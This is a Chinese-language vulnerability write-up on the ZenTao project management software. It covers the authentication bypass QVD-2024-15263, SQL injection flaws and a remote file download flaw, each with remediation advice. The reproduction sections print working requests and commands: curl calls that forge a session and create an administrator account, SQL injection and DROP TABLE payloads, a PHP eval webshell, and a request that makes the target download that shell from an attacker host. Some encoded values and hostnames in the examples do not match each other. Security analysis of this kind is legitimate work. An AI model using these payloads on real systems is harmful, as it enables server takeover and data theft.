禅道漏洞

1.禅道简介

禅道(ZenTao)是一款开源的项目管理软件,专注于敏捷开发团队的需求,支持Scrum、看板等敏捷方法,同时融合了传统项目管理的功能模块。它由中国的禅道团队开发,广泛应用于软件开发、互联网产品研发等领域。


核心功能模块

  1. 产品管理
    • 管理产品需求(用户故事)、版本规划、路线图。
    • 支持需求优先级排序、分解任务。
  2. 项目管理
    • 支持Scrum(迭代、冲刺)和看板(Kanban)模式。
    • 分配任务、跟踪进度、燃尽图统计。
  3. 质量管理
    • 用例管理、缺陷跟踪(Bug提交、指派、修复验证)。
    • 支持测试套件和自动化测试集成。
  4. 文档管理
    • 共享项目文档、知识库,支持版本控制。
  5. 团队协作
    • 任务讨论、动态订阅、工时记录、甘特图。
  6. 统计报表
    • 生成进度、效率、缺陷分布等可视化报表。

技术架构

  • 开源版本:基于PHP + MySQL开发,支持自主部署到服务器。
  • 企业版:提供SaaS云服务(免部署)、技术支持及高级功能(如OA审批、自定义工作流)。

版本类型

  1. 开源版
    • 免费使用,功能完整,适合中小团队或技术能力较强的企业。
    • 需自行维护和部署。
  2. 企业版
    • 付费订阅,提供技术支持、云端服务、增强功能(如安全审计、企业微信集成等)。

适用场景

  • 敏捷开发团队:Scrum迭代管理、每日站会同步。
  • 传统项目管理:任务分解、里程碑跟踪。
  • 测试团队:缺陷全生命周期管理(从提交到回归测试)。
  • 跨部门协作:产品、研发、测试多角色协同。

优缺点分析

优势

  • 功能全面:覆盖需求、任务、缺陷、文档全流程。
  • 开源免费:适合预算有限的团队,可灵活定制代码。
  • 本地化支持:中文界面友好,符合国内团队使用习惯。
  • 社区活跃:有开源社区和论坛提供问题解答。

不足

  • 学习成本较高:功能模块复杂,新手需适应。
  • 界面设计较传统:UI现代化程度低于Jira、Trello等工具。
  • 企业版成本较高:高级功能需付费。

对比其他工具

  • Jira:禅道更侧重全生命周期管理,Jira插件生态更丰富。
  • Trello/Teambition:禅道功能更重,适合复杂项目;轻量级团队可能偏好看板工具。
  • Redmine:禅道在敏捷支持和中文体验上更优。

总结

禅道适合中大型团队或需要完整项目管理流程的企业,尤其是重视缺陷管理和敏捷实践的软件开发团队。开源版适合技术团队自主部署,企业版则提供省心的云端服务与技术支持。若团队追求极简或轻量化协作,可能需要搭配其他工具使用。

二.禅道常见漏洞

以下是禅道项目管理软件(ZenTaoPMS)近年来被公开披露的常见安全漏洞及其关键信息,按漏洞类型和危害程度分类整理:


1. 身份认证绕过漏洞(高危)

  • 漏洞编号:QVD-2024-15263
  • 影响版本
    • 开源版:16.x ≤ 禅道 < 18.12
    • 企业版:6.x ≤ 禅道 < 8.12
    • 旗舰版:3.x ≤ 禅道 < 4.12
  • 漏洞描述:攻击者可通过构造特定请求绕过身份认证,调用任意API接口(如修改管理员密码、创建高权限用户),结合其他漏洞可完全控制服务器。
  • 利用示例:通过/api.php?m=testcase&f=savexmindimport获取伪造的会话Cookie,进而添加管理员用户并登录系统。
  • 修复建议:升级至开源版≥18.12、企业版≥8.12、旗舰版≥4.12。

2. SQL注入漏洞(高危)

CNVD-2022-42853(高危

  • 漏洞原理
    禅道16.5及早期版本的登录接口未对用户输入的account参数进行过滤,攻击者可构造恶意SQL语句拼接至数据库查询中,导致敏感信息泄露(如管理员账号、密码)145。
  • 影响版本
    • 开源版:16.5、16.5.beta1
    • 企业版:6.5
    • 旗舰版:3.0
  • 利用方式
    • 报错注入:通过updatexml函数触发数据库错误回显(示例Payload:account=admin'+and+updatexml(1,concat(0x7e,user()),1))15。
    • 延时注入:利用SLEEP函数探测数据库信息(示例Payload:account=admin' AND (SELECT SLEEP(5)))1。
  • 修复建议:升级至开源版≥18.9,并安装官方补丁8。

禅道V17.4权限绕过后的SQL注入

  • 漏洞原理
    禅道V17.4存在权限绕过漏洞(misc模块的captcha方法可伪造Session),绕过后可在convert模块的数据库导入功能中触发堆叠注入(dbExistsconnectDB函数未过滤dbName参数)2。
  • 影响版本
    • 开源版:17.4 ≤ 禅道 ≤ 18.0.beta1
    • 企业版:7.4 ≤ 禅道 ≤ 8.0.beta1
    • 旗舰版:3.4 ≤ 禅道 ≤ 4.0.beta1
  • 利用方式
    • 通过构造恶意dbName参数执行堆叠查询(示例Payload:dbName=test'; DROP TABLE zt_user;--)2。
  • 修复建议:升级至安全版本,官方在后续版本中将权限验证逻辑修改为die()终止执行2。

禅道8.2-9.2.1文件写入型SQL注入

  • 漏洞原理
    ORM框架中order by参数未严格过滤,攻击者通过预处理语句(PREPARE/EXECUTE)绕过过滤,将恶意SQL语句写入文件(如WebShell)3。
  • 影响版本:8.2 ≤ 禅道 ≤ 9.2.1
  • 利用方式
    • 构造Payload将PHP木马写入服务器(示例:orderBy=order limit 1; SELECT '<?php eval($_POST[1])?>' INTO OUTFILE '/var/www/xx.php')3。
  • 修复建议:升级至禅道≥9.2.2,并限制order by参数输入3。

禅道11.6 API路径注入

  • 漏洞原理
    API接口的sql参数未过滤,通过api-getModel路径直接执行任意SQL语句(如sql=select password from zt_user)10。
  • 影响版本:禅道11.6及早期版本
  • 利用方式
    • 直接调用API接口执行SQL查询(示例URL:/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user)10。
  • 修复建议:升级至后续版本并禁用危险API接口。

3. 文件上传漏洞(高危)

  • 漏洞编号:CNVD-C-2020-121325
  • 影响版本:禅道CMS ≤12.4.2
  • 漏洞描述:通过未严格过滤的link参数远程下载恶意脚本文件(如PHP WebShell),导致任意代码执行。
  • 利用方式:构造包含Base64编码恶意文件地址的请求(如/www/client-download-[version]-[base64-link].html)触发漏洞。
  • 修复建议:升级至禅道CMS >12.4.2版本。

4. 会话伪造与权限提升漏洞(中高危)

  • 漏洞类型
    • 诱导点击带SessionID的链接:攻击者可诱骗用户点击包含有效SessionID的链接,绕过身份认证。
    • 忘记密码页面链接注入:低危漏洞,允许通过注入恶意链接绕过部分验证流程。
  • 修复建议:安装对应补丁(如禅道补丁18.12.3)并升级至安全版本。

5. 其他高危利用链

  • 无需权限GetShell:特定版本(如8.2-9.2.1)因文件写入权限配置不当,攻击者可直接上传恶意文件。
  • 低权限GetShell:需获取后台账号或Cookie后执行漏洞利用链,生成WebShell。
  • 管理员权限GetShell:适用于未加安全限制的一键安装版,通过命令执行获取服务器权限。

总结与建议

  • 风险优先级:身份认证绕过和SQL注入漏洞危害最高,可导致服务器完全失陷;文件上传漏洞利用门槛较低,需重点关注。
  • 修复措施
    • 定期检查并升级至官方最新版本或安装补丁。
    • 限制禅道系统的公网暴露,加强访问控制与日志监控。
    • 对二次开发系统进行安全审计,避免引入新漏洞。

如需具体漏洞复现或修复步骤,可参考官方公告及技术分析链接。

三.漏洞复现

QVD-2024-15263漏洞综合分析


1. 影响版本

该漏洞影响禅道项目管理系统的以下版本:

  • 开源版:16.x ≤ 禅道 < 18.12
  • 企业版:6.x ≤ 禅道 < 8.12
  • 旗舰版:3.x ≤ 禅道 < 4.12

2. 漏洞原理

漏洞核心在于鉴权逻辑缺陷,具体表现为:

  1. 会话伪造:攻击者通过请求特定接口(如/api.php?m=testcase&f=savexmindimport)时,系统未严格校验会话合法性,自动生成包含有效user字段的Cookie(zentaosid),从而绕过身份认证。
  2. 权限验证缺失:在后续调用高权限API(如用户管理接口)时,系统仅检查user字段是否存在,未验证其合法性,导致攻击者可执行管理员操作(如添加用户、修改密码)。
  3. 代码逻辑缺陷testcase模块的saveXmindImport方法调用了deny()函数,该函数错误地将user属性写入会话($_SESSION),为攻击者构造合法会话提供了条件。

3. 漏洞复现步骤

  • 启用了apache用户验证,如果没启用,则可以直接请求获取cookie。

以下是典型的漏洞利用链:

  1. 通过弱口令(zentao:123456),或者未授权,进入初始系统登陆页面

image-20250330163118704

  1. 如果直接请求的话 会401未授权访问
1
http://{target}/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xxx&branch=xxx

image-20250330164151634

  1. 或者直接通过Authorization请求头 base64编码请求
  • emVudGFvOjEyMzQ1Ng==

image-20250330163325789

1
curl "http://192.168.100.1/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xxx&branch=xxx" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)" -v

image-20250330165458045

  1. 通过获取到的身份令牌创建管理员新管理员用户
1
2
3
4
5
6
7
POST /api.php/v1/users HTTP/1.1
Host: {target}
Cookie: zentaosid=xxx
Content-Type: application/json
Cookie: zentaosid=e5a4f2bc2753e398565b28b34c0cafb0

{"account": "test123", "password": "Admin@123", "realname": "test", "role": "top", "group": "1"}
  • 通过curl发送请求
1
curl "http://192.168.100.1/zentao/api.php/v1/users" -X POST -d '{"account": "test123", "password": "Admin@123", "realname": "test", "role": "top", "group": "1"}' -H "Cookie: zentaosid=e5a4f2bc2753e398565b28b34c0cafb0" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)"

即使返回403状态码,新用户仍可成功登录并拥有管理员权限。

image-20250330173344070

  1. 验证权限
    使用新账号登录系统,可确认权限提升成功。

image-20250330173602316


4. 利用条件

  • 系统版本:需为受影响范围内的未修复版本。
  • 网络暴露:禅道系统需暴露于公网或攻击者可访问的内网环境。
  • 接口开放/api.php接口未被防火墙或权限策略限制访问。
  • 无额外验证:目标系统未启用二次身份验证或IP白名单等增强防护措施。

5. 修复建议

  1. 升级至安全版本
    • 开源版升级至≥18.12
    • 企业版升级至≥8.12
    • 旗舰版升级至≥4.12。
  2. 临时缓解措施
    • 限制/api.php接口的访问权限。
    • 监控异常用户创建或密码修改行为。
  3. 代码修复:官方在18.12版本中修改了entry.class.php的鉴权逻辑,确保会话合法性校验前置。

总结

QVD-2024-15263是禅道项目管理系统中高危的身份认证绕过漏洞,攻击者可借此完全控制系统。建议受影响用户立即升级版本,并加强API接口的访问控制。如需完整技术细节或补丁下载,可参考禅道官方公告及GitHub修复记录。

CNVD-2022-42853 漏洞详解


1. 漏洞概述

CNVD-2022-42853 是禅道项目管理软件(ZenTaoPMS)中存在的高危 SQL注入漏洞,主要影响其部分开源版、企业版及旗舰版。攻击者可通过构造恶意请求注入SQL语句,导致数据库敏感信息泄露(如管理员账号密码、项目数据等),甚至进一步获取服务器控制权。


2. 影响版本

  • 开源版:16.5、16.5beta1
  • 企业版:6.5、6.5beta1
  • 旗舰版:3.0、3.0beta1

3. 漏洞原理

漏洞核心源于禅道在用户登录接口的 account参数未严格过滤,导致攻击者可通过该参数拼接恶意SQL语句。具体技术细节如下:

  1. 代码缺陷
    漏洞位于文件 zbox/app/zentao/framework/base/router.class.phpsetVision() 函数中。该函数未对用户输入的 account 参数进行合法性校验或转义,直接将其拼接到SQL查询语句中。

    1
    2
    // 示例代码片段
    $sql = "SELECT * FROM zt_user WHERE account='$account'";
  2. 注入触发点
    攻击者通过登录接口(如 /zentao/user-login.html)提交包含恶意SQL片段的 account 参数,触发数据库查询异常或执行任意SQL命令。


4. 漏洞复现步骤

以下为典型的手工注入复现流程:

环境搭建
  1. 下载并部署禅道V16.5版本(官网或镜像源)。
  2. 启动服务并访问默认后台页面(如 http://localhost:8080/zentao/)。
手工注入示例

报错型注入(利用updatexml函数):

1
2
3
4
5
6
POST /zentao/user-login.html HTTP/1.1
Host: {target}
Content-Type: application/x-www-form-urlencoded

account=admin' AND (SELECT extractvalue(1,concat(0x7e,(MD5(123)),0x7e)))#
password=任意值
  • 效果
    返回数据库报错信息,包含MD5加密后的字符串(如 202cb962ac59075b964b07152d234b70),验证注入成功。

延时注入(利用SLEEP函数):

1
2
GET /index.php?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b HTTP/1.1
Host: {target}
  • 效果
    页面响应时间延迟5秒,表明注入生效。
自动化工具利用

使用 SQLMap 联动Burp Suite加速漏洞利用:

  1. 捕获登录请求数据包并保存为 request.txt
  2. 执行命令:
    1
    sqlmap -r request.txt --level 5 --risk 3 --batch --dbs
    可快速获取数据库名、表名及敏感字段数据。

5. 漏洞修复建议

  1. 升级版本
    官方已发布修复版本,建议升级至开源版≥18.12、企业版≥8.12、旗舰版≥4.12。
  2. 输入过滤
    对用户输入的 account 参数进行严格过滤(如白名单校验、转义特殊字符)。
  3. 临时缓解
    限制登录接口的访问权限,启用Web应用防火墙(WAF)拦截恶意SQL语句。

6. 漏洞总结

CNVD-2022-42853 是典型的 输入验证不严导致的SQL注入漏洞,攻击门槛低但危害极高。开发团队需重视代码审计与安全测试,避免直接拼接用户输入至SQL语句。用户应及时更新补丁并加强日志监控,防止数据泄露风险。


CNVD-C-2020-121325 漏洞复现详解

CNVD-C-2020-121325 是禅道项目管理软件(ZenTaoPMS)中存在的高危文件上传漏洞,允许已登录后台的攻击者通过构造恶意请求下载并写入任意文件,最终获取服务器控制权。以下是漏洞复现的完整流程及技术细节:


一、漏洞原理

  1. 代码缺陷
    漏洞位于禅道的文件下载功能模块中,具体代码路径为 /module/client/ext/model/xuanxuan.phpdownloadZipPackage 方法。

    • 该模块未严格校验 link 参数的协议类型(仅过滤小写 http://https://,但未过滤大写 HTTP://HTTPS://),导致攻击者可通过大写协议绕过限制。
    • 攻击者构造恶意 link 参数(指向远程恶意脚本),禅道会通过 fopen 函数下载该文件并写入本地目录 /www/data/client/[version]/
  2. 触发条件

    • 需要后台管理员权限(默认账号如 admin/Admin123)。
    • 目标系统版本需为 禅道开源版 ≤12.4.2,且未安装安全补丁。

二、漏洞复现步骤

1. 环境准备
  • 靶机环境:部署禅道开源版 12.4.2(下载历史版本)。

  • 攻击机:Kali Linux(或任意可发起HTTP请求的主机)。

  • 恶意文件:准备一个PHP一句话木马(如 shell.php)并托管在攻击机的HTTP服务器上,示例内容:

    1
    <?php @eval($_POST['cmd']); ?>

image-20250330194838597

2. 漏洞利用(需要管理员权限)

步骤一:登录禅道后台
使用默认或已知的管理员账号(如 admin/Admin123 admin/123456)登录后台管理界面。

步骤二:构造恶意请求

  1. 生成恶意链接的Base64编码
    将托管木马的HTTP链接(如 HTTP://192.168.100.129:8111/shell.php)进行Base64编码:

    1
    2
    echo -n "HTTP://192.168.100.129/axc.php" | base64
    # 输出:SFRUUDovLzE5Mi4xNjguMS4xMDAvc2hlbGwucGhw

image-20250330195239099

  1. 发送漏洞利用请求
    构造GET请求,触发文件下载:

    1
    2
    3
    GET /zentao/client-download-1-aHR0cDovLzE5Mi4xNjguMTAwLjEyOS9zaGVsbC5waHA=.html HTTP/1.1
    Host: [目标IP]
    Cookie: [后台登录Session]

image-20250330195526604

1
curl "http://192.168.100.133/zentao/client-download-1-$(echo -n "HTTP://192.168.100.129:8111/shell.php" | base64).html" -H "cookie: zentaosid=5f9a13771a3d3969ef0e4368308c03b7" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)"

image-20250330202118215

步骤三:验证WebShell

  • 上传成功解析失败?

成功执行后,恶意文件将写入禅道目录:

1
/www/data/client/1/shell.php

访问以下URL验证(使用蚁剑或菜刀连接):

1
http://[目标IP]/data/client/1/shell.php

三、漏洞防御与修复

  1. 官方修复方案

    • 升级至禅道 ≥12.4.3 版本,该版本在 xuanxuan.php 中新增了协议类型严格校验(包括大小写)。
  2. 临时缓解措施

    • 限制后台管理页面的访问权限(如IP白名单)。
    • 监控 /data/client/ 目录的文件写入行为。

四、漏洞影响与风险

  • 直接危害:攻击者可上传WebShell,控制服务器并窃取敏感数据(如数据库凭证、项目文件)。
  • 利用门槛:需获取后台账号,但弱口令或默认配置可能降低攻击难度。
  • 关联风险:结合其他漏洞(如提权漏洞)可进一步渗透内网域环境。

五、总结

CNVD-C-2020-121325 的复现核心在于协议绕过与文件写入逻辑缺陷,需结合后台权限和特定版本环境。建议企业及时升级版本,并定期审计权限配置与日志异常。对于渗透测试人员,此漏洞是内网横向移动的常见入口点,需重点关注禅道系统的安全加固。

四.总结

​ 禅道漏洞最主要的就是24年的那个身份验证绕过了,因为这个响应版本很广,且不需要身份认证即可利用。而16.5的SQL注入虽然也不需要身份认证,但是只影响16.5版本,之后就是小于12.4.2版本的远程文件下载的漏洞了,这个虽然影响范围广,但是需要管理员权限才能实现文件上传,因此利用难度也很高。

​ 还有其他的一些SQL注入,例如17.4的一个堆叠注入,和一个版本比较老的order by后的堆叠注入。

​ 然后其他的漏洞都是一些比较杂的漏洞了,主要的还是上面提到的三个漏洞。